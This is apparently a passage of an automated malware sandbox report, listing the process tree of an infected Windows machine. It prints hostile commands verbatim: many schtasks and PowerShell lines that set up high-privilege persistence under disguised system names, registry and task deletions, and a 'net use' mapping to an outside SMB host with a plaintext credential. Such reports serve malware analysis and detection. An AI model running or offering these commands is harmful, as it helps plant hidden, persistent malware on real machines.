        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:11380
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:11404
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:11420
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:11436
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:11448
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:11456
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:11468
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:11480
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:11488
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:11496
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:11508
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:11520
    - - C:\Users\Admin\AppData\Local\Temp\1005824001\b25fd1460a.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005824001\b25fd1460a.exe"
        5⤵
        
        PID:7712
    - - C:\Users\Admin\AppData\Local\Temp\1005956001\d1a9596e30.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005956001\d1a9596e30.exe"
        5⤵
        
        PID:8780
    - - C:\Users\Admin\AppData\Local\Temp\1006068001\lum250.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1006068001\lum250.exe"
        5⤵
        
        PID:9528
- - C:\Users\Admin\AppData\Local\Temp\Files\built.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\built.exe"
    3⤵
    PID:4772
  - - C:\Windows\SYSTEM32\schtasks.exe
      "schtasks" /create /tn "svhost" /sc ONLOGON /tr "C:\Users\Admin\AppData\Local\Temp\Files\built.exe" /rl HIGHEST /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:5860
  - - C:\Users\Admin\AppData\Roaming\KDOT\PerfWatson1.exe
      "C:\Users\Admin\AppData\Roaming\KDOT\PerfWatson1.exe"
      4⤵
      PID:5408
    - - C:\Windows\SYSTEM32\schtasks.exe
        
        "schtasks" /create /tn "svhost" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\KDOT\PerfWatson1.exe" /rl HIGHEST /f
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:6188
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\5MxdhAvgyGAs.bat" "
        5⤵
        
        PID:6520
      - C:\Windows\system32\chcp.com
        
        chcp 65001
        6⤵
        
        PID:6640
      - C:\Windows\system32\PING.EXE
        
        ping -n 10 localhost
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:6760
      - C:\Users\Admin\AppData\Roaming\KDOT\PerfWatson1.exe
        
        "C:\Users\Admin\AppData\Roaming\KDOT\PerfWatson1.exe"
        6⤵
        
        PID:8012
        
        C:\Windows\SYSTEM32\schtasks.exe
        
        "schtasks" /create /tn "svhost" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\KDOT\PerfWatson1.exe" /rl HIGHEST /f
        7⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:6668
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\htrci0eyEzly.bat" "
        7⤵
        
        PID:8240
        
        C:\Windows\system32\chcp.com
        
        chcp 65001
        8⤵
        
        PID:8608
        
        C:\Windows\system32\PING.EXE
        
        ping -n 10 localhost
        8⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:8460
        
        C:\Users\Admin\AppData\Roaming\KDOT\PerfWatson1.exe
        
        "C:\Users\Admin\AppData\Roaming\KDOT\PerfWatson1.exe"
        8⤵
        
        PID:11152
        
        C:\Windows\SYSTEM32\schtasks.exe
        
        "schtasks" /create /tn "svhost" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\KDOT\PerfWatson1.exe" /rl HIGHEST /f
        9⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:11340
- - C:\Users\Admin\AppData\Local\Temp\Files\js.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\js.exe"
    3⤵
    PID:3312
- - C:\Users\Admin\AppData\Local\Temp\Files\SemiconductorNot.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\SemiconductorNot.exe"
    3⤵
    PID:3200
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /k move Continues Continues.cmd & Continues.cmd & exit
      4⤵
      PID:4560
- - C:\Users\Admin\AppData\Local\Temp\Files\prem1.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\prem1.exe"
    3⤵
    PID:5204
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
      4⤵
      PID:5272
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 5204 -s 300
      4⤵
      Program crash
      PID:1288
- - C:\Users\Admin\AppData\Local\Temp\Files\ev.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\ev.exe"
    3⤵
    PID:5956
- - C:\Users\Admin\AppData\Local\Temp\Files\cayV0Deo9jSt417.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\cayV0Deo9jSt417.exe"
    3⤵
    PID:644
  - - C:\Windows\SysWOW64\clip.exe
      "C:\Windows\SysWOW64\clip.exe"
      4⤵
      PID:5216
    - - C:\Users\Admin\AppData\Roaming\System32\taskhost.exe
        
        "C:\Users\Admin\AppData\Roaming\System32\taskhost.exe"
        5⤵
        
        PID:6328
- - C:\Users\Admin\AppData\Local\Temp\Files\IT_plan_cifs.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\IT_plan_cifs.exe"
    3⤵
    PID:6436
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\D28B.tmp\D28C.tmp\D28D.bat C:\Users\Admin\AppData\Local\Temp\Files\IT_plan_cifs.exe"
      4⤵
      PID:6596
    - - C:\Windows\system32\net.exe
        
        net use /delete * /y
        5⤵
        Indicator Removal: Network Share Connection Removal
        
        PID:6624
    - - C:\Windows\system32\net.exe
        
        net use D: \\210.216.165.152\super_share smbtest@@ /user:smbtest /persistent:yes
        5⤵
        
        PID:6660
- - C:\Users\Admin\AppData\Local\Temp\Files\tt.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\tt.exe"
    3⤵
    PID:6504
  - - C:\Windows\sysmablsvr.exe
      C:\Windows\sysmablsvr.exe
      4⤵
      PID:6680
    - - C:\Users\Admin\AppData\Local\Temp\3027522573.exe
        
        C:\Users\Admin\AppData\Local\Temp\3027522573.exe
        5⤵
        
        PID:7512
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f
        6⤵
        
        PID:7384
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f
        7⤵
        
        PID:8324
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /delete /f /tn "Windows Upgrade Manager"
        6⤵
        
        PID:2892
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /delete /f /tn "Windows Upgrade Manager"
        7⤵
        
        PID:8420
    - - C:\Users\Admin\AppData\Local\Temp\2344116952.exe
        
        C:\Users\Admin\AppData\Local\Temp\2344116952.exe
        5⤵
        
        PID:9232
    - - C:\Users\Admin\AppData\Local\Temp\2206511024.exe
        
        C:\Users\Admin\AppData\Local\Temp\2206511024.exe
        5⤵
        
        PID:11052
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe"
  2⤵
  - Drops file in Windows directory
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of WriteProcessMemory
  PID:5024
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffd0d13cc40,0x7ffd0d13cc4c,0x7ffd0d13cc58
    3⤵
    PID:1872
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1828,i,9367788790501170287,236021328813572548,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=1824 /prefetch:2
    3⤵
    PID:4688
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=2096,i,9367788790501170287,236021328813572548,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=2116 /prefetch:3
    3⤵
    PID:3744
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=2216,i,9367788790501170287,236021328813572548,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=1640 /prefetch:8
    3⤵
    PID:3092
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3080,i,9367788790501170287,236021328813572548,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3120 /prefetch:1
    3⤵
    PID:2284
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3108,i,9367788790501170287,236021328813572548,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3176 /prefetch:1
    3⤵
    PID:1156
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4404,i,9367788790501170287,236021328813572548,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4392 /prefetch:1
    3⤵
    PID:652
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=4704,i,9367788790501170287,236021328813572548,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4716 /prefetch:8
    3⤵
    PID:4508
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4788,i,9367788790501170287,236021328813572548,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4756 /prefetch:8
    3⤵
    PID:4460
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4748,i,9367788790501170287,236021328813572548,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=5032 /prefetch:8
    3⤵
    PID:4236
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4932,i,9367788790501170287,236021328813572548,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=5024 /prefetch:8
    3⤵
    PID:4128
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4744,i,9367788790501170287,236021328813572548,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4612 /prefetch:8
    3⤵
    PID:4708
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4724,i,9367788790501170287,236021328813572548,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4596 /prefetch:8
    3⤵
    PID:4636
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --field-trial-handle=5012,i,9367788790501170287,236021328813572548,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4996 /prefetch:2
    3⤵
    PID:2532
- C:\Users\Admin\AppData\Local\Temp\217412\Possibly.pif
  C:\Users\Admin\AppData\Local\Temp\217412\Possibly.pif
  2⤵
  - Executes dropped EXE
  PID:2328
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#evrkcgqew#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'Microsoft Windows Security' /tr '''C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Microsoft Windows Security' -RunLevel 'Highest' -Force; }
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3196
- C:\Windows\System32\schtasks.exe
  C:\Windows\System32\schtasks.exe /run /tn "Microsoft Windows Security"
  2⤵
  PID:2968
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#evrkcgqew#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'Microsoft Windows Security' /tr '''C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Microsoft Windows Security' -RunLevel 'Highest' -Force; }
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4776
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe
  2⤵
  PID:3928
- C:\Windows\System32\dwm.exe
  C:\Windows\System32\dwm.exe
  2⤵
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  PID:4412

C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe"
1⤵
PID:2128

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:824

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 356 -p 380 -ip 380
1⤵
PID:1036

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 504 -p 1068 -ip 1068
1⤵
PID:4680

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 500 -p 4272 -ip 4272
1⤵
PID:1240

C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe
"C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe"
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:1844

C:\ProgramData\dllhost.exe
C:\ProgramData\dllhost.exe
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:4664

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RegistryR" /sc MINUTE /mo 10 /tr "'C:\Program Files (x86)\Common Files\Registry.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3560

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "Registry" /sc ONLOGON /tr "'C:\Program Files (x86)\Common Files\Registry.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4576

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RegistryR" /sc MINUTE /mo 8 /tr "'C:\Program Files (x86)\Common Files\Registry.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1372

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "AsyncClientA" /sc MINUTE /mo 14 /tr "'C:\Program Files\Google\Chrome\AsyncClient.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3432

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "AsyncClient" /sc ONLOGON /tr "'C:\Program Files\Google\Chrome\AsyncClient.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:8

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "AsyncClientA" /sc MINUTE /mo 10 /tr "'C:\Program Files\Google\Chrome\AsyncClient.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2844

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "fontdrvhostf" /sc MINUTE /mo 12 /tr "'C:\Program Files (x86)\Microsoft.NET\RedistList\fontdrvhost.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1908

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "fontdrvhost" /sc ONLOGON /tr "'C:\Program Files (x86)\Microsoft.NET\RedistList\fontdrvhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:452

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "fontdrvhostf" /sc MINUTE /mo 6 /tr "'C:\Program Files (x86)\Microsoft.NET\RedistList\fontdrvhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3312

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dllhostd" /sc MINUTE /mo 5 /tr "'C:\Program Files (x86)\Windows Defender\es-ES\dllhost.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2216

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dllhost" /sc ONLOGON /tr "'C:\Program Files (x86)\Windows Defender\es-ES\dllhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:2756

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dllhostd" /sc MINUTE /mo 13 /tr "'C:\Program Files (x86)\Windows Defender\es-ES\dllhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3188

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "StartMenuExperienceHostS" /sc MINUTE /mo 13 /tr "'C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\StartMenuExperienceHost.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1504

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "StartMenuExperienceHost" /sc ONLOGON /tr "'C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\StartMenuExperienceHost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1268

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "StartMenuExperienceHostS" /sc MINUTE /mo 7 /tr "'C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\StartMenuExperienceHost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3896

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SppExtComObjS" /sc MINUTE /mo 6 /tr "'C:\Users\Default\Downloads\SppExtComObj.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1260

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SppExtComObj" /sc ONLOGON /tr "'C:\Users\Default\Downloads\SppExtComObj.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4256

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SppExtComObjS" /sc MINUTE /mo 10 /tr "'C:\Users\Default\Downloads\SppExtComObj.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1780

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "cmdc" /sc MINUTE /mo 12 /tr "'C:\Recovery\WindowsRE\cmd.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1168

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "cmd" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\cmd.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4776

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "cmdc" /sc MINUTE /mo 9 /tr "'C:\Recovery\WindowsRE\cmd.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:2112

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sysmons" /sc MINUTE /mo 13 /tr "'C:\Recovery\WindowsRE\sysmon.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3964

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sysmon" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\sysmon.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4132

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sysmons" /sc MINUTE /mo 12 /tr "'C:\Recovery\WindowsRE\sysmon.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:328

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "Possibly.pifP" /sc MINUTE /mo 5 /tr "'C:\Program Files (x86)\WindowsPowerShell\Configuration\Possibly.pif.exe'" /f
1⤵
- Process spawned unexpected child process
PID:1372

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "Possibly.pif" /sc ONLOGON /tr "'C:\Program Files (x86)\WindowsPowerShell\Configuration\Possibly.pif.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:596

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "Possibly.pifP" /sc MINUTE /mo 5 /tr "'C:\Program Files (x86)\WindowsPowerShell\Configuration\Possibly.pif.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4424

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "explorere" /sc MINUTE /mo 10 /tr "'C:\Recovery\WindowsRE\explorer.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4636

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "explorer" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\explorer.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1988

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "explorere" /sc MINUTE /mo 7 /tr "'C:\Recovery\WindowsRE\explorer.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3188

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dllhostd" /sc MINUTE /mo 7 /tr "'C:\Program Files\Windows Sidebar\dllhost.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1504

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dllhost" /sc ONLOGON /tr "'C:\Program Files\Windows Sidebar\dllhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1864

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dllhostd" /sc MINUTE /mo 14 /tr "'C:\Program Files\Windows Sidebar\dllhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:4040

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "cmdc" /sc MINUTE /mo 12 /tr "'C:\Recovery\WindowsRE\cmd.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3468

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "cmd" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\cmd.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4256

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "cmdc" /sc MINUTE /mo 8 /tr "'C:\Recovery\WindowsRE\cmd.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1780

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "winlogonw" /sc MINUTE /mo 12 /tr "'C:\Recovery\WindowsRE\winlogon.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1432

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "winlogon" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\winlogon.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1844

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "winlogonw" /sc MINUTE /mo 9 /tr "'C:\Recovery\WindowsRE\winlogon.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
